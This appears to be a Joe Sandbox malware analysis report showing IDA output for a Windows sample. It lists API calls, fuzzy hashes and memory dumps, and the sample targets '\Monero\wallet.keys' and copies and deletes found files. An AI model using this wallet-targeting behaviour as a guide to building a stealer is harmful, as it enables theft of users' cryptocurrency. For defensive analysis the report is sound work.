Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: eb444930c6d1cbe17dc0211b71f4d1a23891b9f748e41a50916070fa5ede96f1
Instruction ID: bdbe7571bf900c83e1eb4705fb9bcac5a94a80ab2d811f7623cd19f2dca0dd3c
Opcode Fuzzy Hash: eb444930c6d1cbe17dc0211b71f4d1a23891b9f748e41a50916070fa5ede96f1
Instruction Fuzzy Hash: 60F090B2A04608EBCB14CF84EC45FAAF7BCFB49B24F000669F515E3280D77569048BE1

Function 0018B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

Part of subcall function 0019A9B0: lstrlen.KERNEL32(?,01348820,?,\Monero\wallet.keys,001A0E17), ref: 0019A9C5
Part of subcall function 0019A9B0: lstrcpy.KERNEL32(00000000), ref: 0019AA04
Part of subcall function 0019A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0019AA12

Part of subcall function 0019A920: lstrcpy.KERNEL32(00000000,?), ref: 0019A972
Part of subcall function 0019A920: lstrcat.KERNEL32(00000000), ref: 0019A982

Part of subcall function 0019A8A0: lstrcpy.KERNEL32(?,001A0E17), ref: 0019A905

Part of subcall function 0019A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0019A7E6

lstrlen.KERNEL32(00000000), ref: 0018B9C2
lstrlen.KERNEL32(00000000), ref: 0018B9D6

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: cf421762acb01e9b0407377d514fca532c7d21adab004f4446e399914cae78c2
Instruction ID: e6fd5e748fa6c56b7c02f78de0882be004b09d658222d7454cd047270291a733
Opcode Fuzzy Hash: cf421762acb01e9b0407377d514fca532c7d21adab004f4446e399914cae78c2
Instruction Fuzzy Hash: 1DE1BC729601189BDF19FBA0DC92EEE733CBF64305F804559F506A6091EF346A4DCBA2

Function 0018AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

Part of subcall function 0019A9B0: lstrlen.KERNEL32(?,01348820,?,\Monero\wallet.keys,001A0E17), ref: 0019A9C5
Part of subcall function 0019A9B0: lstrcpy.KERNEL32(00000000), ref: 0019AA04
Part of subcall function 0019A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0019AA12

Part of subcall function 0019A920: lstrcpy.KERNEL32(00000000,?), ref: 0019A972
Part of subcall function 0019A920: lstrcat.KERNEL32(00000000), ref: 0019A982

Part of subcall function 0019A8A0: lstrcpy.KERNEL32(?,001A0E17), ref: 0019A905

lstrlen.KERNEL32(00000000), ref: 0018B16A
lstrlen.KERNEL32(00000000), ref: 0018B17E

Part of subcall function 0019A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0019A7E6

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: fa91fb8ff5df05393d4da5695ecff327dbdd9335b998d3ec0d24dcb3e1c045b4
Instruction ID: d411271dc4d66727c7866a9de49eb74def7d8417fa78c44f7b280889b1cc7c94
Opcode Fuzzy Hash: fa91fb8ff5df05393d4da5695ecff327dbdd9335b998d3ec0d24dcb3e1c045b4
Instruction Fuzzy Hash: 0991DB729201189BDF09FBA0DC96DEE7378BF64305F804169F506A6191EF346A0DCBE2

Function 0018B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

Part of subcall function 0019A9B0: lstrlen.KERNEL32(?,01348820,?,\Monero\wallet.keys,001A0E17), ref: 0019A9C5
Part of subcall function 0019A9B0: lstrcpy.KERNEL32(00000000), ref: 0019AA04
Part of subcall function 0019A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0019AA12

Part of subcall function 0019A920: lstrcpy.KERNEL32(00000000,?), ref: 0019A972
Part of subcall function 0019A920: lstrcat.KERNEL32(00000000), ref: 0019A982

Part of subcall function 0019A8A0: lstrcpy.KERNEL32(?,001A0E17), ref: 0019A905

lstrlen.KERNEL32(00000000), ref: 0018B42E
lstrlen.KERNEL32(00000000), ref: 0018B442

Part of subcall function 0019A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0019A7E6

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: bfcf2b7dd928f8b86a0e6ecf0cd0dc84e6dc16ae6cbc6b4e854898580f00cfbf
Instruction ID: 4ac95eacf8e4d25af5fba39bdfe3d9caf8a930086082d2728f6dbf40674f6d4d
Opcode Fuzzy Hash: bfcf2b7dd928f8b86a0e6ecf0cd0dc84e6dc16ae6cbc6b4e854898580f00cfbf
Instruction Fuzzy Hash: E771CA729201189BDF05FBA0DDA6DEE7379BF64305F804528F506A6191EF346A0DCBE2

Function 00194BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00198DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00198E0B

lstrcat.KERNEL32(?,00000000), ref: 00194BEA
lstrcat.KERNEL32(?,0134D5F8), ref: 00194C08

Part of subcall function 00194910: wsprintfA.USER32 ref: 0019492C
Part of subcall function 00194910: FindFirstFileA.KERNEL32(?,?), ref: 00194943

Part of subcall function 00194910: StrCmpCA.SHLWAPI(?,001A0FDC), ref: 00194971
Part of subcall function 00194910: StrCmpCA.SHLWAPI(?,001A0FE0), ref: 00194987
Part of subcall function 00194910: FindNextFileA.KERNEL32(000000FF,?), ref: 00194B7D
Part of subcall function 00194910: FindClose.KERNEL32(000000FF), ref: 00194B92

Part of subcall function 00194910: wsprintfA.USER32 ref: 001949B0
Part of subcall function 00194910: StrCmpCA.SHLWAPI(?,001A08D2), ref: 001949C5
Part of subcall function 00194910: wsprintfA.USER32 ref: 001949E2
Part of subcall function 00194910: PathMatchSpecA.SHLWAPI(?,?), ref: 00194A1E
Part of subcall function 00194910: lstrcat.KERNEL32(?,0134E500), ref: 00194A4A
Part of subcall function 00194910: lstrcat.KERNEL32(?,001A0FF8), ref: 00194A5C
Part of subcall function 00194910: lstrcat.KERNEL32(?,?), ref: 00194A70
Part of subcall function 00194910: lstrcat.KERNEL32(?,001A0FFC), ref: 00194A82
Part of subcall function 00194910: lstrcat.KERNEL32(?,?), ref: 00194A96
Part of subcall function 00194910: CopyFileA.KERNEL32(?,?,00000001), ref: 00194AAC
Part of subcall function 00194910: DeleteFileA.KERNEL32(?), ref: 00194B31

Part of subcall function 00194910: wsprintfA.USER32 ref: 00194A07

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 377f6e5b856dc50ab191d7b62dc4fd9125cefa9996d187ad36c0d76225083866
Instruction ID: 7636b06a7d37086cf0c34a688f12b7e0a5c5a6974bf1eacc8b7a6ddb0a8bb266
Opcode Fuzzy Hash: 377f6e5b856dc50ab191d7b62dc4fd9125cefa9996d187ad36c0d76225083866
Instruction Fuzzy Hash: 5B41C5BB9001086BCB55F7A0FC46EEE337DA79A304F008508B54997186EF756B898B92

Function 00186660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 00186706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00186753

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 2a3e6e6ce2c352399c8c6782694027b8815dfa4dae8ae1442e6c20a4c607b760
Instruction ID: 32078d5fd7ffad3f9916e4834b93bea8b13c55cedb93ff801945c16a97c8e385
Opcode Fuzzy Hash: 2a3e6e6ce2c352399c8c6782694027b8815dfa4dae8ae1442e6c20a4c607b760
Instruction Fuzzy Hash: 8641BB74A00209EFCB44DF98C494BADBBB1FF48314F2486A9E9599B355D731EA81CF84

Function 00195050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00198DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00198E0B

lstrcat.KERNEL32(?,00000000), ref: 0019508A
lstrcat.KERNEL32(?,0134DF10), ref: 001950A8

Part of subcall function 00194910: wsprintfA.USER32 ref: 0019492C
Part of subcall function 00194910: FindFirstFileA.KERNEL32(?,?), ref: 00194943

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 01f9bf5b60811b55b82397f3cf2601c69eb9de858a49f4382957ab170875b902
Instruction ID: 97619d41f636f9dd0936bea546101deecba7d056c42220d3729129958f818602
Opcode Fuzzy Hash: 01f9bf5b60811b55b82397f3cf2601c69eb9de858a49f4382957ab170875b902
Instruction Fuzzy Hash: C701967690021C67CB55FBB0DC46EEE737CAB65304F004548B649D7191EF71AB898BE2

Function 001810A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 001810B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 001810F7

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 21b966528ddc40b3e505e096efee6105943dde87b4507f3b7e0bc08ef35e137b
Instruction ID: a7d22ff05be648d698b60a9bc91ffd607a67dbd7e4417db85781215d903bb214
Opcode Fuzzy Hash: 21b966528ddc40b3e505e096efee6105943dde87b4507f3b7e0bc08ef35e137b
Instruction Fuzzy Hash: 0BF0E971641308BBE71497A49C49FAAB7ECE705715F300444F504E3280D6716F00CB50

Function 00198D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00181B54,?,?,001A564C,?,?,001A0E1F), ref: 00198D9F

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
